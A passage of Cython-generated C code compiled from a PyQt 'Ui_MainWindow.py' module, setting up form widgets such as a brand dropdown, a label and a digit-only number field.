__PYX_ERR(0, 275, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_tuple__164, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 275, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":276 * self.R_brandMenu.setAccessibleDescription("") * self.R_brandMenu.setEditable(False) * self.R_brandMenu.setCurrentText("") # <<<<<<<<<<<<<< * self.R_brandMenu.setObjectName("R_brandMenu") * self.formLayout.setWidget(19, QtWidgets.QFormLayout.FieldRole, self.R_brandMenu) */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_brandMenu); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 276, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setCurrentText); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 276, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_tuple__165, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 276, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":277 * self.R_brandMenu.setEditable(False) * self.R_brandMenu.setCurrentText("") * self.R_brandMenu.setObjectName("R_brandMenu") # <<<<<<<<<<<<<< * self.formLayout.setWidget(19, QtWidgets.QFormLayout.FieldRole, self.R_brandMenu) * self.label_8 = QtWidgets.QLabel(self.formLayoutWidget) */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_brandMenu); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 277, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setObjectName); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 277, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_tuple__166, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 277, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":278 * self.R_brandMenu.setCurrentText("") * self.R_brandMenu.setObjectName("R_brandMenu") * self.formLayout.setWidget(19, QtWidgets.QFormLayout.FieldRole, self.R_brandMenu) # <<<<<<<<<<<<<< * self.label_8 = QtWidgets.QLabel(self.formLayoutWidget) * self.label_8.setObjectName("label_8") */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_formLayout); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 278, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_setWidget); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 278, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 278, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_QFormLayout); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 278, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_FieldRole); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 278, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_brandMenu); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 278, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_4 = NULL; __pyx_t_8 = 0; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_6))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_6); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_6, function); __pyx_t_8 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[4] = {__pyx_t_4, __pyx_int_19, __pyx_t_1, __pyx_t_7}; __pyx_t_3 = __Pyx_PyFunction_FastCall(__pyx_t_6, __pyx_temp+1-__pyx_t_8, 3+__pyx_t_8); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 278, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[4] = {__pyx_t_4, __pyx_int_19, __pyx_t_1, __pyx_t_7}; __pyx_t_3 = __Pyx_PyCFunction_FastCall(__pyx_t_6, __pyx_temp+1-__pyx_t_8, 3+__pyx_t_8); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 278, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } else #endif { __pyx_t_2 = PyTuple_New(3+__pyx_t_8); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 278, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); if (__pyx_t_4) { __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_t_4); __pyx_t_4 = NULL; } __Pyx_INCREF(__pyx_int_19); __Pyx_GIVEREF(__pyx_int_19); PyTuple_SET_ITEM(__pyx_t_2, 0+__pyx_t_8, __pyx_int_19); __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_2, 1+__pyx_t_8, __pyx_t_1); __Pyx_GIVEREF(__pyx_t_7); PyTuple_SET_ITEM(__pyx_t_2, 2+__pyx_t_8, __pyx_t_7); __pyx_t_1 = 0; __pyx_t_7 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_t_2, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 278, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":279 * self.R_brandMenu.setObjectName("R_brandMenu") * self.formLayout.setWidget(19, QtWidgets.QFormLayout.FieldRole, self.R_brandMenu) * self.label_8 = QtWidgets.QLabel(self.formLayoutWidget) # <<<<<<<<<<<<<< * self.label_8.setObjectName("label_8") * self.formLayout.setWidget(22, QtWidgets.QFormLayout.LabelRole, self.label_8) */ __pyx_t_6 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 279, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_QLabel); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 279, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_formLayoutWidget); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 279, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_7 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_2))) { __pyx_t_7 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_7)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_7); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); } } if (!__pyx_t_7) { __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_6); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 279, __pyx_L1_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_3); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_7, __pyx_t_6}; __pyx_t_3 = __Pyx_PyFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 279, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_7, __pyx_t_6}; __pyx_t_3 = __Pyx_PyCFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 279, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif { __pyx_t_1 = PyTuple_New(1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 279, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_GIVEREF(__pyx_t_7); PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_t_7); __pyx_t_7 = NULL; __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_1, 0+1, __pyx_t_6); __pyx_t_6 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_t_1, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 279, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } } __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_label_8, __pyx_t_3) < 0) __PYX_ERR(0, 279, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":280 * self.formLayout.setWidget(19, QtWidgets.QFormLayout.FieldRole, self.R_brandMenu) * self.label_8 = QtWidgets.QLabel(self.formLayoutWidget) * self.label_8.setObjectName("label_8") # <<<<<<<<<<<<<< * self.formLayout.setWidget(22, QtWidgets.QFormLayout.LabelRole, self.label_8) * self.R_number = QtWidgets.QLineEdit(self.formLayoutWidget) */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_label_8); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 280, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setObjectName); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 280, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__167, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 280, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":281 * self.label_8 = QtWidgets.QLabel(self.formLayoutWidget) * self.label_8.setObjectName("label_8") * self.formLayout.setWidget(22, QtWidgets.QFormLayout.LabelRole, self.label_8) # <<<<<<<<<<<<<< * self.R_number = QtWidgets.QLineEdit(self.formLayoutWidget) * self.R_number.setToolTip("") */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_formLayout); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 281, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_setWidget); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 281, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 281, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_QFormLayout); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 281, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_LabelRole); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 281, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_label_8); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 281, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_7 = NULL; __pyx_t_8 = 0; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_1))) { __pyx_t_7 = PyMethod_GET_SELF(__pyx_t_1); if (likely(__pyx_t_7)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); __Pyx_INCREF(__pyx_t_7); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_1, function); __pyx_t_8 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[4] = {__pyx_t_7, __pyx_int_22, __pyx_t_2, __pyx_t_6}; __pyx_t_3 = __Pyx_PyFunction_FastCall(__pyx_t_1, __pyx_temp+1-__pyx_t_8, 3+__pyx_t_8); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 281, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[4] = {__pyx_t_7, __pyx_int_22, __pyx_t_2, __pyx_t_6}; __pyx_t_3 = __Pyx_PyCFunction_FastCall(__pyx_t_1, __pyx_temp+1-__pyx_t_8, 3+__pyx_t_8); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 281, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif { __pyx_t_4 = PyTuple_New(3+__pyx_t_8); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 281, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); if (__pyx_t_7) { __Pyx_GIVEREF(__pyx_t_7); PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_7); __pyx_t_7 = NULL; } __Pyx_INCREF(__pyx_int_22); __Pyx_GIVEREF(__pyx_int_22); PyTuple_SET_ITEM(__pyx_t_4, 0+__pyx_t_8, __pyx_int_22); __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_4, 1+__pyx_t_8, __pyx_t_2); __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_4, 2+__pyx_t_8, __pyx_t_6); __pyx_t_2 = 0; __pyx_t_6 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_t_4, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 281, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":282 * self.label_8.setObjectName("label_8") * self.formLayout.setWidget(22, QtWidgets.QFormLayout.LabelRole, self.label_8) * self.R_number = QtWidgets.QLineEdit(self.formLayoutWidget) # <<<<<<<<<<<<<< * self.R_number.setToolTip("") * self.R_number.setStatusTip("") */ __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 282, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_QLineEdit); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 282, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_formLayoutWidget); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 282, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_6 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_4))) { __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_6)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_6); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); } } if (!__pyx_t_6) { __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 282, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_3); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_6, __pyx_t_1}; __pyx_t_3 = __Pyx_PyFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 282, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_6, __pyx_t_1}; __pyx_t_3 = __Pyx_PyCFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 282, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else #endif { __pyx_t_2 = PyTuple_New(1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 282, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_t_6); __pyx_t_6 = NULL; __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_2, 0+1, __pyx_t_1); __pyx_t_1 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_t_2, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 282, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } } __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_R_number, __pyx_t_3) < 0) __PYX_ERR(0, 282, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":283 * self.formLayout.setWidget(22, QtWidgets.QFormLayout.LabelRole, self.label_8) * self.R_number = QtWidgets.QLineEdit(self.formLayoutWidget) * self.R_number.setToolTip("") # <<<<<<<<<<<<<< * self.R_number.setStatusTip("") * self.R_number.setAccessibleName("") */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_number); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 283, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setToolTip); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 283, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__168, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 283, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":284 * self.R_number = QtWidgets.QLineEdit(self.formLayoutWidget) * self.R_number.setToolTip("") * self.R_number.setStatusTip("") # <<<<<<<<<<<<<< * self.R_number.setAccessibleName("") * self.R_number.setAccessibleDescription("") */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_number); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 284, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setStatusTip); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 284, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__169, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 284, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":285 * self.R_number.setToolTip("") * self.R_number.setStatusTip("") * self.R_number.setAccessibleName("") # <<<<<<<<<<<<<< * self.R_number.setAccessibleDescription("") * self.R_number.setInputMethodHints(QtCore.Qt.ImhDialableCharactersOnly|QtCore.Qt.ImhDigitsOnly) */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_number); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 285, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setAccessibleName); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 285, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__170, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 285, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":286 * self.R_number.setStatusTip("") * self.R_number.setAccessibleName("") * self.R_number.setAccessibleDescription("") # <<<<<<<<<<<<<< * self.R_number.setInputMethodHints(QtCore.Qt.ImhDialableCharactersOnly|QtCore.Qt.ImhDigitsOnly) * self.R_number.setText("") */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_number); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 286, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setAccessibleDescription); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 286, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__171, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 286, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":287 * self.R_number.setAccessibleName("") * self.R_number.setAccessibleDescription("") * self.R_number.setInputMethodHints(QtCore.Qt.ImhDialableCharactersOnly|QtCore.Qt.ImhDigitsOnly) # <<<<<<<<<<<<<< * self.R_number.setText("") * self.R_number.setMaxLength(5) */ __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_number); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 287, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_setInputMethodHints); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 287, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtCore); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 287, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_Qt); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 287, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_ImhDialableCharactersOnly); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 287, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtCore); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 287, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_Qt); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 287, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_ImhDigitsOnly); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 287, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = PyNumber_Or(__pyx_t_4, __pyx_t_1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 287, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_2))) { __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_1)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_1); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); } } if (!__pyx_t_1) { __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_6); if 